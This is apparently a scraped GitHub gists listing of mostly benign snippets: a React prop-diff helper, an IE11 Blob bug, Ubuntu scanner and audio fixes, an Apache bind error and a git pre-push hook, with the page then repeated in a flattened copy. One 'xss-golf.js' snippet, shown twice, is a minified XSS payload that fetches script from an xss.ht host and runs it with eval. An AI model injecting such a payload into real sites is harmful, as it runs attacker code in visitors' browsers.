Alexander Prinzhorn Prinzhorn

## index.js
componentDidUpdate: function(prevProps, prevState) {
		var differentProps = {};
		var differentState = {};
		var k;

		for(k in prevProps) {
			if(prevProps[k] !== this.props[k]) {
				differentProps[k] = [prevProps[k], this.props[k]];
			}
		}

## index.js
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);

try {
  //Throws InvalidStateError in IE 11.
  //It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
  new Blob([left]);
} catch(ex) {
  alert(ex.message);
}

## INSTALLATION.md

      
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                Prinzhorn
                / INSTALLATION.md
            
            
              Last active
              April 4, 2019 18:15
            
              
                Ubuntu scanner Samsung SCX-3405
              
          
    Find printer IP
lpinfo  -v

Replace the USB entry with TCP
nano /etc/sane.d/xerox_mfp.conf


## README.md

      
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                Prinzhorn
                / README.md
            
            
              Created
              April 24, 2018 07:58
            
              
                Intel NUC skull canyon Ubuntu audio input microphone headset recording
              
          
    https://communities.intel.com/thread/108361
sudo nano /etc/modprobe.d/alsa-base.conf
options snd-hda-intel model=dell-headset-multi

  
## levenshtein-3-beer.txt
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3

## xss-golf.js
//Before
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send();

//After
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()}

## output
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
AH00015: Unable to open logs

## index.html
<!DOCTYPE html>
<head>
<meta charset="utf-8">
</head>

<body>
<svg width="500" height="500">
	<clipPath id="clippy1"></clipPath>
	<clipPath id="clippy2"></clipPath>
	<clipPath id="clippy3"></clipPath>

## README.md

      
              2 files
            
          
              0 forks
            
          
              2 comments
            
          
              1 star
            
          
                Prinzhorn
                / README.md
            
            
              Last active
              November 5, 2016 08:46
            
              
                Conditional rendering handler for Epoxy.js
              
          
    Similar to the toggle handler, but it will detach the element from the DOM instead of just hiding it. Much like knockout's if binding.
Usage
<div data-bind="if: someCondition"></div>
where someCondition can of course also be a computed property, so this gives you all flexibility you need.

  
## pre-push
git status --porcelain | grep '^??'

rc=$?

#grep exits with 0 when a match is found.
if [ $rc = 0 ] ; then
	echo "Untracked files present. Aborting push.";
	exit 1;
fi
	componentDidUpdate: function(prevProps, prevState) {
	var differentProps = {};
	var differentState = {};
	var k;

	for(k in prevProps) {
	if(prevProps[k] !== this.props[k]) {
	differentProps[k] = [prevProps[k], this.props[k]];
	}
	}
	var buffer = new ArrayBuffer(8);
	var left = new DataView(buffer, 0, 4);

	try {
	//Throws InvalidStateError in IE 11.
	//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
	new Blob([left]);
	} catch(ex) {
	alert(ex.message);
	}
	peng 3
	bebop 3
	gar 3
	newt 3
	ref 3
	yeven 3
	bats 3
	boles 3
	kea 3
	urger 3
	//Before
	function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send();

	//After
	with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()}
	(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
	(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80
	no listening sockets available, shutting down
	AH00015: Unable to open logs
	<!DOCTYPE html>
	<head>
	<meta charset="utf-8">
	</head>

	<body>
	<svg width="500" height="500">
	<clipPath id="clippy1"></clipPath>
	<clipPath id="clippy2"></clipPath>
	<clipPath id="clippy3"></clipPath>
	git status --porcelain \| grep '^??'

	rc=$?

	#grep exits with 0 when a match is found.
	if [ $rc = 0 ] ; then
	echo "Untracked files present. Aborting push.";
	exit 1;
	fi